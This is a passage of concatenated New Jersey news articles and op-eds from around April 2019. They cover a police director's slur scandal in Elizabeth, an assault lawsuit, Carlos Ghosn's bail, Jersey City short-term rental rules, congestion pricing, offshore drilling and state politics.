contacted Lacey Township police and obtained a permanent restraining order against Syers, her lawyer said. In the days after the assault, the woman called Syers and, in a conversation recorded by investigators, Syers admitted to hearing (the victim) say no to the sexual assault yet continued anyway, the suit states. The 32-count federal lawsuit alleges torture, sexual assault, aggravated assault, false imprisonment, domestic violence and invasion of privacy. The suit alleges Ocean County officials failed to properly train, supervise and protect employees against Syers and accuses them of negligent hiring, gross negligence and failure to do their due diligence before hiring Syers. In addition to his duties as a fire academy instructor, Syers is also a firefighter with the Elizabeth Fire Department earning $55,307 a year, according to public records. Kelly Martins, a spokeswoman for the city, said Syers has been employed as an Elizabeth firefighter since March 2017 and remains on the job. Officials in Ocean County did not return a call seeking comment on Friday. Anthony G. Attrino may be reached at tattrino@njadvancemedia.com. Follow him on Twitter @TonyAttrino. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. The mayor of New Jerseys fourth largest city is still refusing to fire his chief law enforcement officer for using racist and misogynistic slurs. This is even after the Attorney General called for his immediate resignation on Friday. Elizabeth Police Director James Cosgrove, who earns six figures commanding some 300 officers, referred to the people he supervises with the n-word and an ugly name for female genitalia. The c-word. The Union County Prosecutors Office investigated the complaint and substantiated it. Yet thanks to the tender sheltering of Chris Bollwage, the long-time mayor of Elizabeth for whom he fundraises, Cosgrove has kept his job. Only the mayor can fire him. If the prosecutors findings are true, Cosgrove should be canned at once, the head of the New Jersey chapter of the NAACP, the National Association of Black Law Enforcement Officers, the American Civil Liberties Union of New Jersey and the most powerful woman in our state Legislature, Sen. Loretta Weinberg, all agreed. We whole-heartedly agree with the Attorney General, said Richard Smith of the NAACP. And if the mayor is going to be complicit and allow this individual to stay, then he needs to go too. As I was always taught, if you lay in a bed with a dog, you get fleas. It shows not only a level of disrespect for the officers and members of his agency, but for the community theyre sworn to protect as well, said Charles Wilson, whose association represents black officers in the Elizabeth area. That is such a degrading word, Weinberg added of the slur used to describe women in the department. And not only did Phil Murphys Attorney General, Gurbir Grewal, call for Cosgrove to quit the AG also assigned a monitor to oversee this holy-moly mess of a department, whose internal affairs unit was just taken over by the county prosecutors office earlier this week. Sending one of his top people to serve as the new acting Prosecutor of Union County suggests that Michael Monahan, the man who was in that position, wasnt up to the job of cracking down on this rogue department. But the stench will never dissipate as long as Cosgrove still sits at the top. When we asked why he hasnt been fired, we received a statement attributable only to The City, spokeswoman Kelly Martins said not to the mayor or his foul-mouthed police director. The Star Ledger has formed an opinion by accepting the analysis of an attorney who has a suspect past and used the Prosecutors Office to assist in his civil litigation against the city, it read. Superior officers have made statements that are not justified by facts. Did Cosgrove not use the n-word or c-word to refer to his staff? Are the officers who said so all lying? The Mayor said you've already formed an opinion. This is my statement, was all the Great and Powerful Wizard of Elizabeth would say through a spokeswoman. There seems to be a dearth of leadership here, even in their prepared statements. And are we supposed to believe that the Attorney General is also a mere pawn of Josh McMahon, the Westfield attorney who filed this complaint on behalf of police whistleblowers? Really? Cosgrove is in charge of policing a mostly-minority city in an era of heightened awareness of brutality and racial profiling at the hands of cops. Why should we trust that his abusive attitude wont filter down through the ranks? Taxpayers recently had to foot the bill for a $250,000 settlement in a brutality case brought by a black man against this department. Aside from being a bigot, Cosgrove is a walking liability for the people of Elizabeth. Unsurprisingly, his department is also facing separate litigation alleging racism, sexism and a hostile work environment. Now we know the commanding officer at its helm uses racial and sexist slurs. And if his only defense is that his cops are all liars, how does that bode when officers need to testify in criminal cases? Defense attorneys will have a field day. If Bollwage doesnt fire this man, his entire city will pay. Bookmark NJ.com/Opinion. Follow on Twitter @NJ_Opinion and find NJ.com Opinion on Facebook. By Eri Torres Every Sunday, my parents and I attend service at our church. We have been going together as a family all my life. On one of our regular Sunday drives back home late last year, my mom was pulled over. When the police officer asked my mom for her drivers license, we had to explain to him that she only had a license from Colombia where she was born. The police officer let us go with a warning, that she should get a drivers license, but in New Jersey that is impossible for undocumented residents like my family and me. Currently, I am a sophomore at my local community college pursuing a degree in criminal justice, which I hope to use to become a forensic detective to help solve crimes. Having access to a drivers license would mean a better chance of succeeding in college and accomplishing my career goals. Without access to a drivers license, I rely on public transportation to get to school and work. To get to my 8 a.m. class, I get up at 5:30 a.m. to catch the bus. However, with a drivers license, I could drive to my class in just 15 minutes, giving me more time to focus on studying and extracurricular activities. While students like myself try their best to get through school, simple things like reliance on public transportation can set us back. Often, the bus will be late, or sometimes will not show up at all. That means I get to my class late or miss class altogether. My status holds me back quite a bit. I cannot apply for certain programs or go on field trips with my classmates to get exposure to the criminal justice field, such as to observe court cases. However, I want to give my best to the opportunities that I currently have and try my hardest in classes. Access to a drivers license would help me do that. There are over 115,000 young immigrants like myself in New Jersey who continue to wait for Congress to pass legislation that would put us on the path to permanent residency. But while Washington is at an impasse, New Jersey state legislators have an opportunity to make our state a more welcoming place to live by expanding access to drivers licenses regardless of immigration status. New Jersey can implement policies to help us continue pursuing our dreams. Access to a drivers license is vital for a chance at accomplishing this, especially if you live in a part of the state where there is limited access to public transportation. Being stopped by the police was terrifying for my parents and I. We feared the officer could make the decision to report us to ICE, however, we were fortunate that did not happen to us that day. Since then, I no longer ride with my parents to church or other family activities because I am afraid we might be stopped again. These are the instances of how immigrants like me live in fear in New Jersey. Legislators in Trenton are considering legislation A4743/S3229 that would expand access to standard drivers licenses to more residents, including undocumented immigrants like myself. It will allow me to take the drivers test and be qualified to get a drivers license, just like my classmates. With a drivers license, some of the fear of living my daily life as an undocumented immigrant in the current climate in the U.S. would be alleviated. I hope my fellow New Jerseyans support the bill and speak to their legislators about making expanded access to drivers licenses to more residents a reality in the state. Eri Torres is studying criminal justice in the hopes of becoming a forensic detective. She is a member of Wind of the Spirit in Morristown. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. Former Nissan chief Carlos Ghosn emerged from his Tokyo detention centre in the late hours of on Thursday after accepting bail of $4.5 million under strict conditions including restrictions on seeing his wife. The 65-year-old tycoon faces four charges of financial misconduct ranging from concealing part of his salary from shareholders to syphoning off Nissan funds for his personal use. His case has captivated Japan and the business community with its multiple twists and turns, as well as shone a spotlight on the Japanese justice system which critics say is overly harsh. Ghosn exited the Kosuge Detention Centre in northern Tokyo around 10:30pm (1330 GMT) after spending 21 days answering questions from authorities over allegations he creamed off $5 million in Nissan funds for personal ends. Unlike his previous departure when he was dressed bizarrely in a Japanese workmans outfit with cap and facemask, Ghosn this time strode confidently out dressed in a dark suit without tie. Under the conditions of his bail, Ghosn must stay in Japan and must live in a court-appointed residence with cameras to monitor his movements amid fears he might try to destroy evidence. His lead defence lawyer Junichiro Hironaka said the conditions also included an approval system to see his wife Carole, whom prosecutors believe has made contact with people involved in the case. If the court approves it, she will be able to meet him, he said. Ghosn denies all the charges, with a spokesperson for the executive saying on Monday he would vigorously defend himself against these baseless accusations and fully expects to be vindicated. The spokesperson said Ghosn was being detained under cruel and unjust conditions, in violation of his human rights, in an effort by prosecutors to coerce a confession from him. On Monday, he was hit with what experts have described as the most serious charges yet as prosecutors accused him of syphoning off $5 million of Nissan cash transferred from the company to a dealership in Oman. He also faces two charges of deferring some $80 million of his salary and hiding this in official documents to shareholders, and seeking to shift personal investment losses to the firm during the 2008 financialcrisis. A Nissan spokesman said in a statement that the companys internal investigation has uncovered substantial evidence of blatantly unethical conduct. Further discoveries related to Ghosns misconduct continue to emerge, he added. This was the second time Ghosn has been granted bail after posting $9 million in March to win his freedom. Last time he left the detention centre, he was dressed in a cap, face mask and workmans uniform in an apparent attempt to evade dozens of journalists from around the world hoping to snap a picture of the fallen tycoon. The bizarre stunt was cooked up by one of his lawyers, Takashi Takano, who later apologised for tainting the reputation of his client, who usually appears in public in sharp suits. Ghosn was preparing to hold a much-anticipated news conference to tell the truth about his case but he was re-arrested shortly beforehand to face questioning about the alleged $5 million embezzlement. Clearly aware he was about to return to custody, Ghosn pre-recorded a video in which he accused backstabbing Nissan executives of a plot against him, as they feared closer ties with French partner Renault. Unless re-arrested over further allegations, Ghosn will be free to organise his defence ahead of a possible trial that is likely to take months to prepare. Hironaka has told reporters that a trial as early as the autumn was not possible for various reasons. His lawyers have demanded he be tried separately from Nissan, which also faces charges for submitting the suspect financial documents, and have voiced fears he will not receive a fair trial. The dramatic case has thrown international attention onto the Japanese justice system, derided by critics as hostage justice as it allows prolonged detention and relies heavily on suspects confessions. By Tony Perry An editorial was published recently by a millennial, who does not own a home in New Jersey, yet felt poised to lecture New Jersey homeowners on why they should stay in the state during retirement, despite the exorbitant cost of living and a property tax dilemma, which year after year ranks our state as highest in the nation. From this incredibly narrow viewpoint, it can be easily understood why the author believes what he wrote. He has not yet experienced the relevant life lessons like buying a home, understanding the physical and financial upkeep and maintenance, along with all the extra costs that come along with it. His opinions are based on inexperience, assumptions and anger toward success, the last of which has become a favorite talking point of some political leaders. The author questions retirees by stating Do you not understand that your wealth has been accrued through the support of millions of your fellow New Jerseyans? The retirement savings of our seniors was not built by some heinous act, it was built on hard work, risk and planning. Furthermore, he completely fails to appreciate the fact that the people fleeing New Jersey are not just the uber wealthy. They are the school teacher who taught for 30 years and can no longer afford to live in the very state they worked in. The police officer or firefighter who served his or her community for decades. The small business owner who employed people within their community and decides to move to a state that does not crush them in taxes after years of hard work. Businesses that contribute billions of dollars in corporate taxes, employ our residents and provide philanthropy to the thousands of nonprofits across the state are demonized. We need to look for ways to prevent the mass out-migration of residents rather than vilifying them. Blaming people who choose to leave New Jersey is simply a smokescreen for policies that continually increase the size of government and adds fuel to the ever-growing partisan divide. As mayor of Middletown, we continually look for new and innovative ways to reduce not only the cost of government, but the size of government. This year our budget reduces the tax rate by 2.66 percent, despite the rising costs of healthcare, pension obligations and unfunded state mandates. Each year we have added new shared service agreements to save money -- not just for our residents but for residents of other communities as well. The affordability crisis wont be fixed solely by forward-thinking municipalities, we also need real reforms from Trenton to address this statewide issue. The author ends his tirade with a back-handed apology stating and adding you may have to cut a trip you had planned or some other luxury from your retirement budget. But Im not sorry that you are paying your fair share Until state leaders make New Jersey an affordable place to retire, how can we cast any blame on those who are financially forced to leave their families, friends and community? In a culture of people being offended by everything, Im offended by opinion pieces like this, which understandably makes my generation appear entitled, dependent on others, and incredibly fragile. So, in a state that ranked 47th for millennials calling New Jersey home, 48th in housing costs for millennials, and dead last for millennials living with their parents (according to a recent Wallethub survey), it is mind-boggling that a member of my generation can put pen to paper and slam individuals for managing their savings. Perhaps, certain leaders should stop hiding from the real issues of our state because that isnt leadership its ignorance. There is no doubt our state has its challenges, but as leaders, we must see these challenges and accept them as opportunities. Tony Perry is the mayor of Middletown Township. At 28 years old, he is the youngest mayor in the towns 355-year history. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. By Josh Meltzer Over the past few years, we have worked with countless cities on a what -- at its core -- is a straightforward issue: finding an effective regulatory framework for home sharing. We know: Its rare to hear a business say that they are not opposed to regulation, but the truth is that were not -- provided those regulations are reasonable and ensure our community can continue to open their doors to tourists, all while addressing any concerns about the impact that could have on the local community. Jersey City knows this all too well. Back in 2015, Mayor Fulop led the council in passing one of the most progressive home sharing laws in the country. Jersey City has remained a model nationwide -- and proof that a major city could recognize the opportunities our then-burgeoning industry could create for residents, businesses and the city as a whole. Since then, as our community has grown, that promise of what home sharing could build here in Jersey City has been undeniably kept. In 2018 alone, the city welcomed 181,000 guests -- largely solo travelers, couples, and families coming for a long weekend -- in 3,100 listings citywide. With the typical Airbnb guest spending about $160 per day, mostly in the communities where they are staying, every one of those visitors has helped to lift up a local shop or restaurant, contributing to the citys larger economic ecosystem. On top of that, Jersey City hosts alone took home a total of $32 million in 2018. For many of those families, thats make-or-break extra income that they can use in order to afford to stay in their neighborhoods -- plowing even more money back into the local economy. And on top of that, as part of the original ordinance implemented back in 2015, Jersey City changed the law so that our local community could pay their fair share in taxes. Since then, we have generated more than $4 million in tax revenue for the city. This is why we are so deeply concerned by the legislation against short-term rentals that was just proposed by the mayor and introduced in the City Council. If you havent read it yet, here are the takeaways: First, it would prohibit short-term rentals in any building with three or more units, effectively banning home sharing in the vast majority of buildings in Jersey City; second, tenants would be barred from sharing their home, cutting off this economic lifeline to those who are often most in need of it; and third, the bill would impose a nonrefundable licensing fee of $500 and an annual renewal fee of $300, harming even those who are able to share their home. And as a cherry on top, this legislation would also jeopardize the privacy of people visiting Jersey City, with the government able to demand personal, private guest data at any moment. This isnt a bill to regulate home sharing in the same way that cities like Philadelphia, Seattle and Chicago have, with provisions like simple host registration, common sense safety requirements and protections for affordable housing. This legislation would effectively end home sharing in Jersey City entirely, undoing progress we have made over the past four years and stifling Jersey Citys growing tourism economy. We want to make it very clear that we would welcome the opportunity to work with the city to revise the existing home sharing to include some new and more robust provisions that we have worked with other cities to implement. In fact, we have formally requested to work with the mayor to address any concerns and chart a course for the future of home sharing in Jersey City -- neither our hosts nor I have yet been extended that opportunity, but the offer is still on the table. As a young, progressive leader once said, You can either try and fight it and resist change or you can try and figure it out and work together. Those are your words, Mayor Fulop -- explaining why you first decided to work with us back 2015. They still hold true today. Lets work together once again on home sharing in Jersey City this community is counting on us to find a better way. Josh Meltzer is the head of Northeast Public Policy for Airbnb. Submit letters to the editor and guest columns to jjletters@jjournal.com. New Jersey Attorney General Gurbir Grewal on Friday took the extraordinary step of installing one of his top aides as acting Union County prosecutor and urging the longtime head of the countys largest city police department to resign amid a scandal over racist and sexist slurs. The announcement came days after NJ Advance Media reported an internal investigation substantiated claims against Elizabeth Police Director James Cosgrove brought by several whistleblowers. Documents obtained by the news organization show Cosgrove was accused of using the N-word and C-word to refer to black and female employees. In a statement, Grewal said a two-month inquiry found Cosgrove had used racist and misogynistic slurs against members of his own staff over the course of many years. One of the core responsibilities of an effective law enforcement leader is to maintain the trust of the community he or she serves, Grewal said. Director Cosgrove has violated that trust and, in doing so, undermined confidence in our system of justice. The attorney general said Cosgrove should resign his position immediately. Cosgrove, who has served as civilian police director for more than two decades, has remained silent on the accusations and could not be reached Friday. A spokeswoman for Elizabeth Mayor Chris Bollwage, who has the authority to fire Cosgrove, did not return a request for comment. In the meantime, Grewal also installed First Assistant Attorney General Jennifer Davenport as acting prosecutor in order to make sure the county prosecutors office exercises appropriate oversight of the Elizabeth Police Department and works to rebuild trust with the community and external stakeholders. A spokeswoman for Grewal declined to elaborate on why he was removing the current acting prosecutor, Michael Monahan. Monahan was named acting prosecutor in January 2018 after several years working in the state Division of Criminal Justice, which is under the attorney general. Grewals spokeswoman, Sharon Lauchaire, said Monahan would be returning to a position there. Josh McMahon, a Westfield attorney who said he represents multiple whistleblowers in the department, said he was grateful to the attorney general for taking a stand against racism and misogyny in law enforcement. This is not the first time Cosgrove, a former Newark police officer who has overseen the department since 1998, has come under scrutiny. In 2016, the two police unions representing the citys approximately 300 officers took no confidence votes in Cosgroves leadership. In union documents, they described the department as being run by politics, favoritism and retaliation. The attorney generals action came amid mounting pressure for city, county and state officials to intervene in the department, which serves a diverse population in New Jerseys fourth-largest city. The New Jersey chapter of the American Civil Liberties Union in separate letters to Grewal and Bollwage this week called for Cosgroves removal and a sweeping audit of the departments practices. The attorney general on Friday said his Office of Public Integrity and Accountability would help Davenport conduct such a review, examining workplace culture, including its hiring and promotional practices. The fallout of the scandal could linger over the department for years to come and will likely lead to civil suits and other trouble. Earlier this week, McMahon wrote a letter to Monahan claiming that Cosgrove was retaliating against employees and had a history of sexual harassment and interference in internal affairs probes. The letter claimed Cosgrove had threatened to take an axe to the head of the person(s) that began this investigation. The attorney also accused Cosgrove of spying on the political opponents of Bollwage, who has served as the citys mayor since 1992. Unfortunately, Chris Bollwage seems to be the only politician in America who doesnt realize that protecting a racist, sexist police director is simply unacceptable," McMahon told NJ Advance Media on Friday. The mayor must fire Cosgrove immediately. Davenport will remain in her current job as first assistant attorney general, where she serves in Grewals executive leadership team. Grewal also named one of his special assistants, Joseph Walsh, to serve as counsel for Davenport in her role as acting county prosecutor. Walsh, who was a police officer for 15 years before becoming a prosecutor, will take over the internal affairs functions of the Elizabeth Police Department, Grewal said. A spokesman for the Union County Prosecutors Office declined to comment on the shakeup. Staff writers Rebecca Everett and Sophie Nieto-Munoz contributed to this report. S.P. Sullivan may be reached at ssullivan@njadvancemedia.com. Follow him on Twitter. Have a tip? Tell us. nj.com/tips New York Gov. Andrew Cuomo sidestepped questions Friday on whether he and New Jersey Gov. Phil Murphy struck a deal on congestion pricing after New Jerseys governor insisted this week the two reached a conceptual understanding. Cuomo, speaking for the first time publicly on the issue during a morning radio interview, wouldnt directly answer whether he and Murphy, both Democrats, have a deal after being questioned twice by the host. Instead, Cuomo said it would be up to New Yorks MTA to study the issue and make a determination. The MTA on Wednesday issued a statement saying no deal was struck. Gov. Murphy said he struck a deal so New Jerseyans wont have to pay twice to drive into the city. Are you in on this thing? the host of 1010 WINS asked Cuomo. Well the MTA, part of what the MTA has to do over the next two years, theyre going to be installing electronic tolling in whats called the Manhattan central business district, and they have do a traffic study to determine what are the tolls (and) whats the variable in the tolls? Cuomo responded. Pressed again, the host asked: Is Gov. Murphy right in indicating there wont be double tolling? Well thats what the MTA has to work through. There will be some double tolling, otherwise you dont accomplish anything because you dont raise any revenue, Cuomo said. But hows that done? The devil is in the detail. Cuomo added: The traffic study is going to inform the MTA. MTA officials said late Wednesday they had no idea what Murphy was talking about when he announced a preliminary deal that Jersey drivers would get credit toward congestion pricing fees in Manhattan for the tolls they pay at the three Hudson River crossings. The New Jersey governor said he and Cuomo reached an agreement that drivers will get credit for congestion pricing fees for tolls paid, including those charged at the George Washington Bridge. But two sources familiar with the talks between the governors told NJ Advance Media Thursday that Cuomo said he didnt strike a deal with Murphy. The sources spoke on the condition of anonymity because they werent authorized to speak publicly. And Cuomo didnt back up Murphys claim when given the chance Friday. His comments came a day after Murphy insisted the two men came to a conceptual understanding on congestion pricing. My comments were based explicitly in principal-to-principal discussions with Gov. Cuomo. As I said, theres a conceptual understanding, as I put it, Murphy said at a news conference Thursday on a separate issue in Trenton. Pressed again whether there was a deal, Murphy responded: Conceptual understanding are the words Ive used and Ill continue to use. New York recently approved a first-in-the-nation plan that will impose fees, still undetermined, on drivers entering Manhattan south of 61st Street, possibly starting in 2021. As soon as the measure was approved Murphy spoke out against it, saying it would amount to a double tax for New Jersey commuters who travel to the city for work. Matt Arco may be reached at marco@njadvancemedia.com. Follow him on Twitter @MatthewArco or Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. WASHINGTON President Donald Trumps efforts to expand offshore oil drilling including in the Atlantic Ocean off the Jersey Shore faces delays because of a federal court ruling. Interior Department spokeswoman Molly Block said the department is studying what to do next following a U.S. District Court ruling in Alaska that rejected Trumps efforts to overturn an existing ban on oil drilling in parts of the Atlantic and Arctic oceans. Given the recent court decision, the department is simply evaluating all of its options to determine the best pathway to accomplish the mission entrusted to it by the president, Block said. Rep. Frank Pallone Jr., who chairs the House Energy and Commerce Committee with jurisdiction over the issue, cautioned against reading too much into the announcement. You cant trust the Trump administration or the Interior secretary with anything related to offshore drilling, said Pallone, D-6th Dist. Its obvious that they want to expand drilling into the Atlantic up and down the coast. Hes not committing to the fact that hes not going expand. Hes just mulling over what he can do and not do. Trump, who during the campaign called man-made climate change a Chinese hoax and pledged to expand oil drilling, first announced in April 2017 that the administration would consider amending the Interior Departments 2017-22 oil leasing plan and open the Atlantic to energy exploration. The existing plan kept the Atlantic Coast off limits to drilling through 2022. The new 2019-24 plan proposed opening more than 90 percent of the outer continental shelf, most of the Atlantic, Pacific and Arctic oceans, to drilling. Then-Interior Secretary Ryan Zinke said the Trump plan would exclude Florida, and then told New Jersey House Republicans that he would withdraw the area near the Jersey Shore as well. He never did. The latest wrinkle occurred last month when U.S. District Court Judge Sharon Gleason in Alaska ruled that an existing ban on drilling in parts of the Atlantic and Arctic oceans would remain "in full force and effect unless and until revoked by Congress. She overturned Trumps April 2017 executive order revoking the ban saying "it exceeded the presidents authority. Interior Secretary David Bernhardt told the Wall Street Journal that the department would have to wait until the court case played out. By the time the court rules, that may be discombobulating to our plan, Bernhardt told the Journal. U.S. Sen. Robert Menendez, D-N.J., welcomed the announcement but said it didnt mean the fight over expanding offshore drilling was over. "While Im pleased to see this significant roadblock to the presidents reckless offshore drilling plan, I will not rest until we kill the drill and end the clear and present danger offshore drilling poses to the Jersey Shore once and for all, Menendez said. State Attorney General Gurbir Grewal tweeted that the announcement was great news in our fight to stop offshore drilling. Thats why were so excited @Interior is backing down for now. And if the Fed Govt ever changes its mind and restarts its efforts to bring offshore drilling to NJ, well fight just as hard the next time: https://t.co/uvyE0NYCDj AG Gurbir Grewal (@NewJerseyOAG) April 26, 2019 New Jersey Sierra Club President Jeff Tittel said the decision may not affect plans to move ahead with seismic testing in the Atlantic, which involves shooting blasts of compressed air into the ocean to try to discover oil and gas deposits. Environmentalists said such testing would harm the animals that live in the ocean. We won now but something else can happen, Tittel said. Even though they stopped offshore drilling plans, they could still conduct seismic testing. The Trump administration approved seismic testing last November, but several environmental groups, including the Sierra Club, have sued to block it. Should oil drilling be allowed, a spill could threaten a New Jersey tourism industry that generates $43 billion annually and supports 500,000 jobs, and a fishing industry that adds $7.9 billion a year to the states economy and creates more than 50,000 jobs. Jonathan D. Salant may be reached at jsalant@njadvancemedia.com. Follow him on Twitter @JDSalant or on Facebook. Find NJ.com Politics on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. When the flags from every state in the union went up in Liberty State Park Friday as part of an annual tradition, one is missing: Mississippis. Gov. Phil Murphy ordered that states flag not to be raised because of its nod to the Confederacy, NJ Advance Media has learned. The flag has the Confederate battle emblem on it, which has sparked a movement from some in Mississippi to change the states flag. The Confederate symbol displayed on the Mississippi State flag is reprehensible and does not reflect our values of inclusivity and equality, Murphy said in a statement. The governor argued New Jersey is rooted in our diverse communities and said the United States flag will fly in Mississippis place. The flags are raised in Liberty State Park, which has a clear view of the Statue of Liberty, every spring. State Sen. Sandra Cunningham, D-Hudson, who has long opposed allowing a flag that prominently displays the Confederate battle emblem, praised Murphys action Friday. The Confederate flag symbolizes an era of hate, violence, and division, Cunningham, D-Hudson, said. I thank Gov. Murphy for his commitment to tolerance and equality and for the decision to remove this hateful symbol from Liberty State Park. Hate has no home in New Jersey. Murphy, in his statement, thanked Cunningham for bringing this issue in her district to his attention. Mississippi is the last state in the nation with the Confederate emblem. Mississippians decided in a statewide election in 2001 to keep its flag, but several Mississippi cities and counties have stopped flying it in recent years. Supporters, meanwhile, have argued it represents history. The flags are going up Friday and will be taken down in the fall. Matt Arco may be reached at marco@njadvancemedia.com. Follow him on Twitter @MatthewArco or Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Gov. Phil Murphy will name a new chairman Friday to head the besieged New Jersey Economic Development Authority, NJ Advance Media has learned. Kevin Quinn, 54, a former Goldman Sachs executive and the founder of Genki Advisory, an investment firm, will take the reins of an agency that has found itself the target of multiple investigations into how it awarded billions in tax incentives, along with a highly critical audit that has raised questions over how it administered those programs. And he will have to deal with four board members who have been asked to resign, but who will not step down. Murphy cited Quinns wealth of experience in appointing him to the EDA. Reclaiming New Jerseys status as an economic power requires a strong and focused EDA that will work tirelessly to implement the policies our economy needs to grow, Murphy said. Economic development is much more than providing tax incentives to a few big corporations, and requires investing in our diverse people, ideas, and businesses. The governor himself is a long-time Goldman Sachs alumnus, where he was a high-ranking executive before he turned to politics. During Quinns time at Goldman Sachs, he worked in the firms New York, San Francisco, and Tokyo offices, before retiring in 2012 as a partner and co-head of its global technology banking business. He also worked as a consultant at Bain & Co. The EDA assists businesses looking to move to the state or expand through tax credits, grants, tax-exempt and taxable bond financing, loans and loan guarantees. Quinns appointment, which does not need legislative approval, comes as the EDA board is in disarray. Murphy has called for all four of the gubernatorial appointees to the board to step down. The board members, all appointed by former Gov. Chris Christie, have not budged. The dispute over control of the EDA has been playing out for the past two weeks and has come with no shortage of political heat. The governor has gotten scant support. Christie has been sharply critical. Legislative leaders have offered little support. And progressive groups have charged that the EDA has given away millions in grants and incentives to companies with political connections and to businesses who have gamed the system. The EDA board includes eight public members four named by the New Jersey governor, two recommended by the Senate President and two recommended by the Assembly Speaker. Five others make up the board by virtue of their positions in the administration, including the state treasurer, New Jerseys state banking commissioner and the labor commissioner. An alternate also appointed by the governor sits on the board as well. All four gubernatorial members and the alternate were asked for their resignations two weeks ago. Only then-board chairman Laurence M. Downes, the CEO of New Jersey Resources Corp., acceded to Murphys demands and left the board within hours of the governors request. A continuing stalemate goes on over the fate of the others. They include Louis Goetting, a public policy consultant who served as deputy chief of staff to Christie; Bill Layton, a lobbyist who had served as the political director of the New Jersey Republican State Committee; attorney Thomas P. Scrivo; and John T. Lutz, who serves as an alternate. All have flouted the governor and refused to step aside. Christie last week called the move by Murphy, a Democrat, to oust them nothing less than a partisan political assassination, and urged they disregard the governor. None have returned calls seeking comment. The EDA commissioners are not paid and serve staggered terms that typically bridge changes in administrations. A senior administration official said privately that the governor is not without options if the EDA board members continue to defy his request for their resignations. Murphy could simply wait them out until their terms expire. But the official said the governor also reserves his right to use all options, including removal, pending facts that arise. Under the EDA statute, board members can be removed for cause. But Senate President Stephen Sweeney, a Democrat, has not supported Murphy in the governors effort to redraw the EDA board. Sweeney has said publicly he intends to re-nominate his two appointees to the authoritys board both of them Democrats whose terms will soon or have already expired and he expressed support for the full board. At a time when there have been disruptive influences on the EDA, it is important that we try to maintain stability with the board and the agency, Sweeney said earlier this week. In fact, the entire board has done a good job. Murphy has been looking to make changes at the EDA since the release of a highly critical audit by the state comptroller in January. That report faulted the agencys management of billions in grants and tax incentives intended to attract new business to the state and generate jobs for New Jersey. Murphy convened a special governors task force to investigate the EDA, which last month began a series of public hearings, highlighted by the testimony of a former whistleblower who claimed that the company she had worked for had been awarded a $2.67 million after falsely claiming it was considering a move out of the state. A separate investigation by the state Attorney General is ongoing, officials have said. Ted Sherman may be reached at tsherman@njadvancemedia.com. Follow him on Twitter @TedShermanSL. Facebook: @TedSherman.reporter. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. WASHINGTON House Speaker Nancy Pelosi has sought to quell talk of impeaching President Donald Trump, and most of New Jerseys federal lawmakers agree with her. "Were not there yet, Pelosi, D-Calif., said in New York earlier this week. Impeachment is a step that you have to take bringing the American people with you. Again, without prejudice, without passion, without partisanship, but with a presentation of the facts. A survey by NJ Advance Media of the states congressional delegation found strong support for examining the facts through congressional hearings into the report by Special Counsel Robert Mueller, but none for impeaching the president at this time. I strongly support Speaker Pelosis decision to not immediately open impeachment proceedings against President Trump following the redacted release of Special Counsel Muellers report," said Rep. Albio Sires, reflecting the views of most of his fellow other New Jersey lawmakers. Trump has said his administration would not cooperate with any congressional investigations, unlike Democratic Presidents Bill Clinton and Barack Obama, whose aides testified numerous times during queries launched by Republicans when they controlled the House. No Collusion, No Obstruction - there has NEVER been a President who has been more transparent. Millions of pages of documents were given to the Mueller Angry Dems, plus I allowed everyone to testify, including W.H. counsel. I didnt have to do this, but now they want more..... Donald J. Trump (@realDonaldTrump) April 24, 2019 ....Congress has no time to legislate, they only want to continue the Witch Hunt, which I have already won. They should start looking at The Criminals who are already very well known to all. This was a Rigged System - WE WILL DRAIN THE SWAMP! Donald J. Trump (@realDonaldTrump) April 24, 2019 Lawmakers said there was plenty of time to look into the findings of the Mueller report while also tackle at the issues that won them their majority last November such as health care, climate change, rebuilding the nations infrastructure, and government ethics. There isnt a trade off, Rep. Donald Payne Jr. said. "Its called doing our job. Heres how your House members and U.S. Senators reacted to the subject of impeachment: Rep. Donald Norcross, D-1st Dist. He called for a congressional investigation, not impeachment. We now know the #MuellerReport confirmed Russia interfered in a US election & identified 10 episodes of potential obstruction of justice. Enough partisan press conferences, summaries & spin. We need Mueller to testify to Congress publicly. Americans deserve the full truth. Donald Norcross (@DonaldNorcross) April 18, 2019 Rep. Jeff Van Drew, D-2nd Dist. Currently impeachment is not the answer," he said. We have an election in a year and a half and the American people can decide then. Rep. Andy Kim, D-3rd Dist. Although I do not support immediate impeachment proceedings, I do believe in the dogged pursuit of truth, transparency and the value of sunlight as the best disinfectant, Kim said, calling on Congress to "uphold its constitutional duty to support and defend the Constitution, including our Article I oversight responsibility. Rep. Chris Smith, R-4th Dist. Did not respond to requests for comment. Rep. Josh Gottheimer, D-5th Dist. Like others in the delegation, Gottheimer shied away from impeachment in favor of the rest of the Democratic agenda "like cutting taxes and health care costs, improving our infrastructure, and protecting our air and water. Rep. Frank Pallone Jr. speaks at a rally in Newark in support of the Affordable Care Act. (Ed Murray | NJ Advance Media for NJ.com) Rep. Frank Pallone Jr., D-6th Dist. He said Congress should not focus on impeachment but rather on legislation that will deliver results for hardworking Americans, including restoring net neutrality, keeping health care affordable, lowering prescription drug costs, and fighting climate change. Rep. Tom Malinowski, D-7th Dist. Malinowski didnt address impeachment specifically but said it was "important that Congress takes the ball that Mueller passed us, and act in a way that ensures this behavior is not normalized. Rep. Albio Sires, D-8th Dist. It is time for the congressional committees of jurisdiction to swiftly take up the completion of this investigation for the American people," Sires said. "Any decisions made as a result of these investigations must stem from the facts that are uncovered. Rep. Bill Pascrell Jr., D-9th Dist. Pascrell refused to rule out impeachment, saying that every constitutional option should be on the table. Mueller identified at least 10 potential instances where Trump sought to obstruct justice. Mueller pointedly left resolving them in Congresss hands. Every constitutional option should be on the table. Bill Pascrell, Jr. (@BillPascrell) April 18, 2019 Rep. Donald Payne Jr., D-10th Dist. He said Congress needed to obtain the full unredacted Mueller report, hold hearings and examine witnesses before moving deciding 